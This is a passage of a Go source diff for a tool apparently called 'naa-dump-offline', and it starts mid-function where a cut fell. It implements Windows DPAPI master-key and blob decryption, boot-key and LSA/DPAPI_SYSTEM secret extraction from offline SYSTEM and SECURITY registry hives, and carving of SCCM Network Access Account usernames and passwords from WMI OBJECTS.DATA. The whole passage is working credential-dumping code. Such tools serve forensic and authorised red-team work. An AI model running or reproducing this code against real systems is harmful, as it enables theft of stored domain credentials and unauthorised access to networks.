0x%x", blob.HashAlgo) + } + + var cryptKeyLen, ivLen int + switch blob.CryptAlgo { + case CALG_AES_256: + cryptKeyLen = 32 + ivLen = 16 + case CALG_AES_128: + cryptKeyLen = 16 + ivLen = 16 + case CALG_3DES: + cryptKeyLen = 24 + ivLen = 8 + default: + return nil, fmt.Errorf("unsupported blob crypt algo: 0x%x", blob.CryptAlgo) + } + + h2 := hmac.New(hashFunc, keyHash) + h2.Write(blob.Salt) + sessionKey := h2.Sum(nil) + + derivedKey := sessionKey + if len(derivedKey) > hashBlockSize { + h3 := hmac.New(hashFunc, sessionKey) + derivedKey = h3.Sum(nil) + } + + if len(derivedKey) < cryptKeyLen { + padLen := hashBlockSize + padded := make([]byte, len(derivedKey)+padLen) + copy(padded, derivedKey) + ipad := make([]byte, padLen) + opad := make([]byte, padLen) + for i := 0; i < padLen; i++ { + ipad[i] = padded[i] ^ 0x36 + opad[i] = padded[i] ^ 0x5c + } + + hi := hashFunc() + hi.Write(ipad) + ho := hashFunc() + ho.Write(opad) + + derivedKey = append(hi.Sum(nil), ho.Sum(nil)...) + } + + cryptKey := derivedKey[:cryptKeyLen] + iv := make([]byte, ivLen) + + var cleartext []byte + switch blob.CryptAlgo { + case CALG_AES_256, CALG_AES_128: + block, err := aes.NewCipher(cryptKey) + if err != nil { + return nil, err + } + if len(blob.Data)%aes.BlockSize != 0 { + return nil, fmt.Errorf("ciphertext length not multiple of AES block size") + } + mode := cipher.NewCBCDecrypter(block, iv) + cleartext = make([]byte, len(blob.Data)) + mode.CryptBlocks(cleartext, blob.Data) + case CALG_3DES: + block, err := des.NewTripleDESCipher(cryptKey) + if err != nil { + return nil, err + } + if len(blob.Data)%des.BlockSize != 0 { + return nil, fmt.Errorf("ciphertext length not multiple of 3DES block size") + } + mode := cipher.NewCBCDecrypter(block, iv) + cleartext = make([]byte, len(blob.Data)) + mode.CryptBlocks(cleartext, blob.Data) + } + + if len(cleartext) == 0 { + return nil, fmt.Errorf("decrypted cleartext empty") + } + + padding := int(cleartext[len(cleartext)-1]) + if padding > 0 && padding <= len(cleartext) { + valid := true + for i := len(cleartext) - padding; i < len(cleartext); i++ { + if cleartext[i] != byte(padding) { + valid = false + break + } + } + if valid { + return cleartext[:len(cleartext)-padding], nil + } + } + + return cleartext, nil +} diff --git a/pkg/dpapi/crypto.go b/pkg/dpapi/crypto.go @@ -0,0 +1,77 @@ +package dpapi + +import ( + "crypto/hmac" + "encoding/binary" + "fmt" + "hash" + "strings" + "unicode/utf16" +) + +const ( + CALG_3DES = 0x6603 + CALG_AES_128 = 0x660e + CALG_AES_192 = 0x660f + CALG_AES_256 = 0x6610 + CALG_SHA1 = 0x8004 + CALG_HMAC = 0x8009 + CALG_SHA_256 = 0x800c + CALG_SHA_384 = 0x800d + CALG_SHA_512 = 0x800e +) + +func DeriveKeyDPAPI(passphrase, salt []byte, keyLen, count int, newHash func() hash.Hash) []byte { + var keyMaterial []byte + i := uint32(1) + for len(keyMaterial) < keyLen { + U := make([]byte, len(salt)+4) + copy(U, salt) + binary.BigEndian.PutUint32(U[len(salt):], i) + i++ + + h := hmac.New(newHash, passphrase) + h.Write(U) + derived := h.Sum(nil) + + for r := 0; r < count-1; r++ { + h = hmac.New(newHash, passphrase) + h.Write(derived) + actual := h.Sum(nil) + for b := range derived { + derived[b] ^= actual[b] + } + } + keyMaterial = append(keyMaterial, derived...) + } + return keyMaterial[:keyLen] +} + +func FormatGUID(b []byte) string { + if len(b) < 16 { + return "" + } + d1 := binary.LittleEndian.Uint32(b[0:4]) + d2 := binary.LittleEndian.Uint16(b[4:6]) + d3 := binary.LittleEndian.Uint16(b[6:8]) + return fmt.Sprintf("%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x", + d1, d2, d3, b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15]) +} + +func NormalizeGUID(s string) string { + s = strings.TrimSpace(s) + s = strings.TrimPrefix(s, "{") + s = strings.TrimSuffix(s, "}") + return strings.ToLower(s) +} + +func DecodeUTF16LE(b []byte) string { + if len(b) == 0 { + return "" + } + u16 := make([]uint16, len(b)/2) + for i := range u16 { + u16[i] = binary.LittleEndian.Uint16(b[i*2:]) + } + return strings.TrimRight(string(utf16.Decode(u16)), "\x00") +} diff --git a/pkg/dpapi/masterkey.go b/pkg/dpapi/masterkey.go @@ -0,0 +1,265 @@ +package dpapi + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/des" + "crypto/hmac" + "crypto/sha1" + "crypto/sha512" + "encoding/binary" + "fmt" + "hash" + "os" + "path/filepath" + + "github.com/shehzade/naa-dump-offline/pkg/registry" +) + +type MasterKeyFile struct { + Version uint32 + Unk1 uint32 + Unk2 uint32 + Guid string + Unknown uint32 + Policy uint32 + Flags uint32 + MasterKeyLen uint64 + BackupKeyLen uint64 + CredHistLen uint64 + DomainKeyLen uint64 + MasterKey *MasterKey + BackupKey *MasterKey +} + +type MasterKey struct { + Version uint32 + Salt []byte + Rounds uint32 + HashAlgo uint32 + CryptAlgo uint32 + Data []byte + DecryptedKey []byte +} + +func ParseMasterKeyFile(raw []byte) (*MasterKeyFile, error) { + if len(raw) < 128 { + return nil, fmt.Errorf("master key file too short (%d bytes)", len(raw)) + } + + mkf := &MasterKeyFile{ + Version: binary.LittleEndian.Uint32(raw[0:4]), + Unk1: binary.LittleEndian.Uint32(raw[4:8]), + Unk2: binary.LittleEndian.Uint32(raw[8:12]), + Guid: NormalizeGUID(DecodeUTF16LE(raw[12:84])), + Unknown: binary.LittleEndian.Uint32(raw[84:88]), + Policy: binary.LittleEndian.Uint32(raw[88:92]), + Flags: binary.LittleEndian.Uint32(raw[92:96]), + MasterKeyLen: binary.LittleEndian.Uint64(raw[96:104]), + BackupKeyLen: binary.LittleEndian.Uint64(raw[104:112]), + CredHistLen: binary.LittleEndian.Uint64(raw[112:120]), + DomainKeyLen: binary.LittleEndian.Uint64(raw[120:128]), + } + + offset := 128 + if mkf.MasterKeyLen > 0 && offset+int(mkf.MasterKeyLen) <= len(raw) { + mkData := raw[offset : offset+int(mkf.MasterKeyLen)] + mkf.MasterKey = parseMasterKey(mkData) + offset += int(mkf.MasterKeyLen) + } + + if mkf.BackupKeyLen > 0 && offset+int(mkf.BackupKeyLen) <= len(raw) { + bkmkData := raw[offset : offset+int(mkf.BackupKeyLen)] + mkf.BackupKey = parseMasterKey(bkmkData) + } + + return mkf, nil +} + +func parseMasterKey(raw []byte) *MasterKey { + if len(raw) < 32 { + return nil + } + return &MasterKey{ + Version: binary.LittleEndian.Uint32(raw[0:4]), + Salt: raw[4:20], + Rounds: binary.LittleEndian.Uint32(raw[20:24]), + HashAlgo: binary.LittleEndian.Uint32(raw[24:28]), + CryptAlgo: binary.LittleEndian.Uint32(raw[28:32]), + Data: raw[32:], + } +} + +func (mk *MasterKey) Decrypt(key []byte) ([]byte, error) { + if mk == nil { + return nil, fmt.Errorf("nil master key") + } + + var hashFunc func() hash.Hash + var hashKeyLen int + switch mk.HashAlgo { + case CALG_HMAC, CALG_SHA1: + hashFunc = sha1.New + hashKeyLen = 20 + case CALG_SHA_512: + hashFunc = sha512.New + hashKeyLen = 64 + default: + return nil, fmt.Errorf("unsupported hash algo: 0x%x", mk.HashAlgo) + } + + var cryptKeyLen, ivLen int + switch mk.CryptAlgo { + case CALG_AES_256: + cryptKeyLen = 32 + ivLen = 16 + case CALG_3DES: + cryptKeyLen = 24 + ivLen = 8 + default: + return nil, fmt.Errorf("unsupported crypt algo: 0x%x", mk.CryptAlgo) + } + + derivedBlob := DeriveKeyDPAPI(key, mk.Salt, cryptKeyLen+ivLen, int(mk.Rounds), hashFunc) + cryptKey := derivedBlob[:cryptKeyLen] + iv := derivedBlob[cryptKeyLen : cryptKeyLen+ivLen] + + var cleartext []byte + switch mk.CryptAlgo { + case CALG_AES_256: + block, err := aes.NewCipher(cryptKey) + if err != nil { + return nil, err + } + if len(mk.Data)%aes.BlockSize != 0 { + return nil, fmt.Errorf("ciphertext length not multiple of AES block size") + } + mode := cipher.NewCBCDecrypter(block, iv) + cleartext = make([]byte, len(mk.Data)) + mode.CryptBlocks(cleartext, mk.Data) + case CALG_3DES: + block, err := des.NewTripleDESCipher(cryptKey) + if err != nil { + return nil, err + } + if len(mk.Data)%des.BlockSize != 0 { + return nil, fmt.Errorf("ciphertext length not multiple of 3DES block size") + } + mode := cipher.NewCBCDecrypter(block, iv) + cleartext = make([]byte, len(mk.Data)) + mode.CryptBlocks(cleartext, mk.Data) + } + + if len(cleartext) < 16+hashKeyLen+64 { + return nil, fmt.Errorf("cleartext too short (%d)", len(cleartext)) + } + + decryptedKey := cleartext[len(cleartext)-64:] + hmacSalt := cleartext[:16] + hmacExpected := cleartext[16 : 16+hashKeyLen] + + h1 := hmac.New(hashFunc, key) + h1.Write(hmacSalt) + hmacKey := h1.Sum(nil) + + h2 := hmac.New(hashFunc, hmacKey) + h2.Write(decryptedKey) + hmacCalculated := h2.Sum(nil) + + if !bytes.Equal(hmacCalculated[:hashKeyLen], hmacExpected) { + return nil, fmt.Errorf("HMAC verification failed") + } + + mk.DecryptedKey = decryptedKey + return decryptedKey, nil +} + +func (mkf *MasterKeyFile) DecryptWithSystemKeys(keys *registry.DPAPISystemKeys) ([]byte, string, error) { + if mkf.MasterKey != nil && len(keys.UserKey) > 0 { + if dec, err := mkf.MasterKey.Decrypt(keys.UserKey); err == nil { + return dec, "UserKey", nil + } + } + + if mkf.MasterKey != nil && len(keys.MachineKey) > 0 { + if dec, err := mkf.MasterKey.Decrypt(keys.MachineKey); err == nil { + return dec, "MachineKey", nil + } + } + + if mkf.BackupKey != nil && len(keys.UserKey) > 0 { + if dec, err := mkf.BackupKey.Decrypt(keys.UserKey); err == nil { + return dec, "BackupKey (UserKey)", nil + } + } + + if mkf.BackupKey != nil && len(keys.MachineKey) > 0 { + if dec, err := mkf.BackupKey.Decrypt(keys.MachineKey); err == nil { + return dec, "BackupKey (MachineKey)", nil + } + } + + return nil, "", fmt.Errorf("failed to decrypt master key with UserKey or MachineKey") +} + +func LoadAndDecryptMasterKey(pathOrDir string, targetGUID string, keys *registry.DPAPISystemKeys) ([]byte, string, error) { + info, err := os.Stat(pathOrDir) + if err != nil { + return nil, "", fmt.Errorf("cannot access master key path: %w", err) + } + + targetGUID = NormalizeGUID(targetGUID) + + if !info.IsDir() { + data, err := os.ReadFile(pathOrDir) + if err != nil { + return nil, "", fmt.Errorf("failed to read master key file: %w", err) + } + mkf, err := ParseMasterKeyFile(data) + if err != nil { + return nil, "", fmt.Errorf("failed to parse master key file: %w", err) + } + decKey, keyType, err := mkf.DecryptWithSystemKeys(keys) + if err != nil { + return nil, "", fmt.Errorf("failed to decrypt master key %s: %w", pathOrDir, err) + } + return decKey, fmt.Sprintf("%s (%s)", pathOrDir, keyType), nil + } + + entries, err := os.ReadDir(pathOrDir) + if err != nil { + return nil, "", fmt.Errorf("failed to read master key directory: %w", err) + } + + var filesToTry []string + for _, e := range entries { + if !e.IsDir() { + filesToTry = append(filesToTry, filepath.Join(pathOrDir, e.Name())) + } + } + + for _, filePath := range filesToTry { + data, err := os.ReadFile(filePath) + if err != nil { + continue + } + + mkf, err := ParseMasterKeyFile(data) + if err != nil { + continue + } + + fileBase := NormalizeGUID(filepath.Base(filePath)) + if targetGUID != "" && mkf.Guid != targetGUID && fileBase != targetGUID { + continue + } + + decKey, keyType, err := mkf.DecryptWithSystemKeys(keys) + if err == nil { + return decKey, fmt.Sprintf("%s (%s)", filePath, keyType), nil + } + } + + return nil, "", fmt.Errorf("could not find or decrypt valid master key for GUID %s in %s", targetGUID, pathOrDir) +} diff --git a/pkg/registry/bootkey.go b/pkg/registry/bootkey.go @@ -0,0 +1,95 @@ +package registry + +import ( + "encoding/binary" + "encoding/hex" + "fmt" + "io" + "os" + "unicode/utf16" + + "www.velocidex.com/golang/regparser" +) + +var bootKeyPermutation = []int{8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7} + +func readClassString(r io.ReaderAt, key *regparser.CM_KEY_NODE) (string, error) { + offset := key.Class() + length := key.ClassLength() + if length == 0 { + return "", fmt.Errorf("empty class") + } + buf := make([]byte, length) + _, err := r.ReadAt(buf, int64(4096+offset+4)) + if err != nil { + return "", err + } + u16 := make([]uint16, length/2) + for i := 0; i < len(u16); i++ { + u16[i] = binary.LittleEndian.Uint16(buf[i*2 : (i+1)*2]) + } + return string(utf16.Decode(u16)), nil +} + +func GetBootKey(systemHivePath string) ([]byte, error) { + f, err := os.Open(systemHivePath) + if err != nil { + return nil, fmt.Errorf("failed to open SYSTEM hive: %w", err) + } + defer f.Close() + + reg, err := regparser.NewRegistry(f) + if err != nil { + return nil, fmt.Errorf("failed to parse SYSTEM hive: %w", err) + } + + selectKey := reg.OpenKey("Select") + if selectKey == nil { + return nil, fmt.Errorf("could not find Select key in SYSTEM hive") + } + + var currentControlSet string + for _, val := range selectKey.Values() { + if val.ValueName() == "Current" { + currentControlSet = fmt.Sprintf("ControlSet%03d", val.ValueData().Uint64) + break + } + } + if currentControlSet == "" { + currentControlSet = "ControlSet001" + } + + subkeys := []string{"JD", "Skew1", "GBG", "Data"} + var hexStr string + + for _, sub := range subkeys { + path := fmt.Sprintf("%s\\Control\\Lsa\\%s", currentControlSet, sub) + k := reg.OpenKey(path) + if k == nil { + return nil, fmt.Errorf("could not find key: %s", path) + } + s, err := readClassString(f, k) + if err != nil { + return nil, fmt.Errorf("failed to read class for %s: %w", path, err) + } + if len(s) > 8 { + s = s[:8] + } + hexStr += s + } + + rawBytes, err := hex.DecodeString(hexStr) + if err != nil { + return nil, fmt.Errorf("failed to decode bootkey hex: %w", err) + } + if len(rawBytes) != 16 { + return nil, fmt.Errorf("expected 16 scrambled bytes, got %d", len(rawBytes)) + } + + bootKey := make([]byte, len(rawBytes)) + for i := range bootKey { + bootKey[i] = rawBytes[bootKeyPermutation[i]] + } + + return bootKey, nil +} diff --git a/pkg/registry/lsa.go b/pkg/registry/lsa.go @@ -0,0 +1,137 @@ +package registry + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/sha256" + "encoding/binary" + "fmt" + "os" + + "www.velocidex.com/golang/regparser" +) + +type DPAPISystemKeys struct { + BootKey []byte + LSAKey []byte + MachineKey []byte + UserKey []byte +} + +func sha256Key(key, value []byte) []byte { + h := sha256.New() + h.Write(key) + for i := 0; i < 1000; i++ { + h.Write(value) + } + return h.Sum(nil) +} + +func decryptAES(key, ciphertext []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + iv := make([]byte, 16) + paddedLen := (len(ciphertext) + 15) / 16 * 16 + buf := make([]byte, paddedLen) + copy(buf, ciphertext) + + out := make([]byte, paddedLen) + for i := 0; i < len(buf); i += 16 { + mode := cipher.NewCBCDecrypter(block, iv) + mode.CryptBlocks(out[i:i+16], buf[i:i+16]) + } + return out, nil +} + +func ExtractDPAPISystemKeys(securityHivePath string, bootKey []byte) (*DPAPISystemKeys, error) { + f, err := os.Open(securityHivePath) + if err != nil { + return nil, fmt.Errorf("failed to open SECURITY hive: %w", err) + } + defer f.Close() + + reg, err := regparser.NewRegistry(f) + if err != nil { + return nil, fmt.Errorf("failed to parse SECURITY hive: %w", err) + } + + polEKKey := reg.OpenKey("Policy\\PolEKList") + if polEKKey == nil { + return nil, fmt.Errorf("could not find Policy\\PolEKList key in SECURITY hive") + } + + var polEKVal []byte + for _, v := range polEKKey.Values() { + if v.ValueName() == "" || v.ValueName() == "default" { + polEKVal = v.ValueData().Data + break + } + } + if len(polEKVal) < 60 { + return nil, fmt.Errorf("Policy\\PolEKList value is too short (%d bytes)", len(polEKVal)) + } + + salt := polEKVal[28 : 28+32] + ciphertext := polEKVal[28+32:] + + tmpKey := sha256Key(bootKey, salt) + plainText, err := decryptAES(tmpKey, ciphertext) + if err != nil { + return nil, fmt.Errorf("failed to decrypt PolEKList: %w", err) + } + + if len(plainText) < 100 { + return nil, fmt.Errorf("decrypted PolEKList plainText too short (%d bytes)", len(plainText)) + } + lsaKey := make([]byte, 32) + copy(lsaKey, plainText[68:100]) + + dpapiValKey := reg.OpenKey("Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal") + if dpapiValKey == nil { + return nil, fmt.Errorf("could not find Policy\\Secrets\\DPAPI_SYSTEM\\CurrVal key in SECURITY hive") + } + + var dpapiVal []byte + for _, v := range dpapiValKey.Values() { + if v.ValueName() == "" || v.ValueName() == "default" { + dpapiVal = v.ValueData().Data + break + } + } + if len(dpapiVal) < 60 { + return nil, fmt.Errorf("DPAPI_SYSTEM CurrVal is too short (%d bytes)", len(dpapiVal)) + } + + dpapiSalt := dpapiVal[28 : 28+32] + dpapiCipher := dpapiVal[28+32:] + + dpapiTmpKey := sha256Key(lsaKey, dpapiSalt) + dpapiPlain, err := decryptAES(dpapiTmpKey, dpapiCipher) + if err != nil { + return nil, fmt.Errorf("failed to decrypt DPAPI_SYSTEM secret: %w", err) + } + + if len(dpapiPlain) < 16 { + return nil, fmt.Errorf("decrypted DPAPI_SYSTEM plainText too short (%d bytes)", len(dpapiPlain)) + } + + secretLen := binary.LittleEndian.Uint32(dpapiPlain[:4]) + if int(16+secretLen) > len(dpapiPlain) || secretLen < 44 { + return nil, fmt.Errorf("invalid secret length in DPAPI_SYSTEM: %d", secretLen) + } + + dpapiSecret := dpapiPlain[16 : 16+secretLen] + machineKey := make([]byte, 20) + userKey := make([]byte, 20) + copy(machineKey, dpapiSecret[4:24]) + copy(userKey, dpapiSecret[24:44]) + + return &DPAPISystemKeys{ + BootKey: bootKey, + LSAKey: lsaKey, + MachineKey: machineKey, + UserKey: userKey, + }, nil +} diff --git a/pkg/wmi/carver.go b/pkg/wmi/carver.go @@ -0,0 +1,164 @@ +package wmi + +import ( + "bytes" + "encoding/hex" + "fmt" + "os" + "regexp" + "sort" + "strings" + + "github.com/shehzade/naa-dump-offline/pkg/dpapi" +) + +type CarverResult struct { + TotalBlobs int + UniqueBlobs []*CarvedSecret + RequiredGUIDs []string + GUIDCounts map[string]int +} + +var ( + policySecretRe = regexp.MustCompile(`(?s)<PolicySecret[^>]*><!\[CDATA\[([0-9A-Fa-f]{100,})\]\]></PolicySecret>`) +) + +func ScanObjectsData(objectsDataPath string) (*CarverResult, error) { + data, err := os.ReadFile(objectsDataPath) + if err != nil { + return nil, fmt.Errorf("failed to read OBJECTS.DATA: %w", err) + } + + result := &CarverResult{ + GUIDCounts: make(map[string]int), + } + + seenHex := make(map[string]*CarvedSecret) + + matches := policySecretRe.FindAllSubmatchIndex(data, -1) + result.TotalBlobs = len(matches) + + for i, loc := range matches { + matchStart := loc[0] + matchEnd := loc[1] + subStart := loc[2] + subEnd := loc[3] + + hexPayload := string(data[subStart:subEnd]) + + ctxStart := matchStart - 200 + if ctxStart < 0 { + ctxStart = 0 + } + prefixChunk := string(data[ctxStart:matchStart]) + context := "PolicySecret" + if strings.Contains(prefixChunk, "CCM_NetworkAccessAccount") { + context = "CCM_NetworkAccessAccount" + } else if strings.Contains(prefixChunk, "CCM_Policy_Action") { + context = "CCM_Policy_Action" + } else if strings.Contains(prefixChunk, "CCM_Policy_Policy5") { + context = "CCM_Policy_Policy5" + } + + rawBytes, err := hex.DecodeString(hexPayload) + if err != nil || len(rawBytes) < 44 { + continue + } + + blobBytes := rawBytes + if len(rawBytes) > 4 { + blobBytes = rawBytes[4:] + } + + blob, err := dpapi.ParseDPAPIBlob(blobBytes) + if err != nil { + blob, err = dpapi.ParseDPAPIBlob(rawBytes) + if err != nil { + continue + } + } + + guid := blob.GuidMasterKey + if guid != "" { + result.GUIDCounts[guid]++ + } + + if existing, ok := seenHex[hexPayload]; ok { + if existing.Context == "PolicySecret" && context != "PolicySecret" { + existing.Context = context + } + continue + } + + secret := &CarvedSecret{ + Index: i + 1, + Offset: int64(matchStart), + MasterKeyGUID: guid, + Context: context, + RawHex: hexPayload, + } + + seenHex[hexPayload] = secret + result.UniqueBlobs = append(result.UniqueBlobs, secret) + _ = matchEnd + } + + naaIdx := 0 + for { + idx := bytes.Index(data[naaIdx:], []byte("CCM_NetworkAccessAccount")) + if idx == -1 { + break + } + actualIdx := naaIdx + idx + windowEnd := actualIdx + 2000 + if windowEnd > len(data) { + windowEnd = len(data) + } + window := data[actualIdx:windowEnd] + + subMatches := cdataRegex.FindAllSubmatchIndex(window, -1) + for _, sm := range subMatches { + h := string(window[sm[2]:sm[3]]) + if _, ok := seenHex[h]; !ok { + rawBytes, err := hex.DecodeString(h) + if err != nil || len(rawBytes) < 44 { + continue + } + blobBytes := rawBytes + if len(rawBytes) > 4 { + blobBytes = rawBytes[4:] + } + blob, err := dpapi.ParseDPAPIBlob(blobBytes) + if err != nil { + blob, err = dpapi.ParseDPAPIBlob(rawBytes) + if err != nil { + continue + } + } + guid := blob.GuidMasterKey + if guid != "" { + result.GUIDCounts[guid]++ + } + secret := &CarvedSecret{ + Index: len(result.UniqueBlobs) + 1, + Offset: int64(actualIdx + sm[0]), + MasterKeyGUID: guid, + Context: "CCM_NetworkAccessAccount", + RawHex: h, + } + seenHex[h] = secret + result.UniqueBlobs = append(result.UniqueBlobs, secret) + result.TotalBlobs++ + } + } + + naaIdx = actualIdx + len("CCM_NetworkAccessAccount") + } + + for guid := range result.GUIDCounts { + result.RequiredGUIDs = append(result.RequiredGUIDs, guid) + } + sort.Strings(result.RequiredGUIDs) + + return result, nil +} diff --git a/pkg/wmi/policy.go b/pkg/wmi/policy.go @@ -0,0 +1,162 @@ +package wmi + +import ( + "bytes" + "compress/zlib" + "encoding/hex" + "fmt" + "io" + "regexp" + "strings" + + "github.com/shehzade/naa-dump-offline/pkg/dpapi" +) + +type NAACredential struct { + Username string `json:"username"` + Password string `json:"password"` + Source string `json:"source,omitempty"` +} + +type CarvedSecret struct { + Index int `json:"index"` + Offset int64 `json:"offset"` + MasterKeyGUID string `json:"masterkey_guid"` + Context string `json:"context"` + RawHex string `json:"-"` + DecryptedBytes []byte `json:"-"` + DecryptedText string `json:"decrypted_text,omitempty"` + IsEmpty bool `json:"is_empty"` +} + +var ( + cdataRegex = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]{100,})\]\]>`) + xmlHexRe = regexp.MustCompile(`<!\[CDATA\[([0-9A-Fa-f]+)\]\]>`) +) + +func DecompressZlib(hexPayload string) ([]byte, error) { + data, err := hex.DecodeString(strings.TrimSpace(hexPayload)) + if err != nil { + return nil, err + } + r, err := zlib.NewReader(bytes.NewReader(data)) + if err != nil { + return nil, err + } + defer r.Close() + return io.ReadAll(r) +} + +func ParseDecryptedPayload(data []byte) (string, bool) { + if len(data) == 0 || (len(data) <= 2 && bytes.Equal(data, []byte{0, 0})) { + return "", true + } + + text := dpapi.DecodeUTF16LE(data) + if text == "" { + text = strings.TrimRight(string(data), "\x00") + } + + return text, false +} + +func ExtractCredentialsFromSecrets(secrets []*CarvedSecret) []NAACredential { + credentials := []NAACredential{} + seen := make(map[string]bool) + + var potentialUsers []string + var potentialPasswords []string + + for _, s := range secrets { + if s.IsEmpty || s.DecryptedText == "" { + continue + } + + if strings.Contains(s.DecryptedText, "CCM_NetworkAccessAccount") { + extractFromXML(s.DecryptedText, &credentials, seen) + } + + if strings.Contains(s.DecryptedText, `Compression="zlib"`) { + matches := xmlHexRe.FindAllStringSubmatch(s.DecryptedText, -1) + for _, m := range matches { + decomp, err := DecompressZlib(m[1]) + if err == nil { + decompText := dpapi.DecodeUTF16LE(decomp) + if decompText == "" { + decompText = string(decomp) + } + extractFromXML(decompText, &credentials, seen) + } + } + } + + text := strings.TrimSpace(s.DecryptedText) + if !strings.HasPrefix(text, "<") && !strings.Contains(text, "\n") { + if strings.Contains(text, "\\") || strings.Contains(text, "@") { + potentialUsers = append(potentialUsers, text) + } else if len(text) > 0 && len(text) < 128 { + potentialPasswords = append(potentialPasswords, text) + } + } + } + + for _, u := range potentialUsers { + for _, p := range potentialPasswords { + key := fmt.Sprintf("%s:%s", u, p) + if !seen[key] { + seen[key] = true + credentials = append(credentials, NAACredential{ + Username: u, + Password: p, + Source: "OBJECTS.DATA", + }) + } + } + } + + return credentials +} + +func isLikelyHexCiphertext(s string) bool { + if len(s) < 32 { + return false + } + for _, c := range s { + if !((c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F')) { + return false + } + } + return true +} + +func extractFromXML(xmlContent string, creds *[]NAACredential, seen map[string]bool) { + userRe := regexp.MustCompile(`name="NetworkAccessUsername"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`) + passRe := regexp.MustCompile(`name="NetworkAccessPassword"[^>]*>[\s\r\n]*<value>[\s\r\n]*<!\[CDATA\[([^\]]+)\]\]>`) + + userMatches := userRe.FindAllStringSubmatch(xmlContent, -1) + passMatches := passRe.FindAllStringSubmatch(xmlContent, -1) + + minLen := len(userMatches) + if len(passMatches) < minLen { + minLen = len(passMatches) + } + + for i := 0; i < minLen; i++ { + u := strings.TrimSpace(userMatches[i][1]) + p := strings.TrimSpace(passMatches[i][1]) + + if isLikelyHexCiphertext(u) || isLikelyHexCiphertext(p) { + continue + } + + key := fmt.Sprintf("%s:%s", u, p) + if !seen[key] && (u != "" || p != "") { + seen[key] = true + *creds = append(*creds, NAACredential{ + Username: u, + Password: p, + Source: "Policy XML", + }) + } + } +}